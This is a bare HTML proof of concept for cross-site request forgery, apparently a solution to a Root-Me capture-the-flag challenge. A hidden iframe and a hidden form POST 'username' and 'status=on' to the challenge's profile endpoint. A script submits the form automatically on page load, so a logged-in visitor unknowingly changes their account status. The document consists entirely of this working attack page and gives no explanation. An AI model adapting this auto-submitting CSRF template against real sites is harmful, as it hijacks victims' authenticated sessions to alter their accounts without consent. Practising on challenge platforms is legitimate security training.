<iframe style="display:none" name="csrf-frame"></iframe>

<form id="csrf-form" target="csrf-frame" action="http://challenge01.root-me.org/web-client/ch22/index.php?action=profile" method="POST" enctype="multipart/form-data">

<input type="hidden" name="username" value="user" />

<input type="hidden" name="status" value="on" />

<input type="submit" value="Submit request" />

</form>

<script>document.getElementById("csrf-form").submit()</script>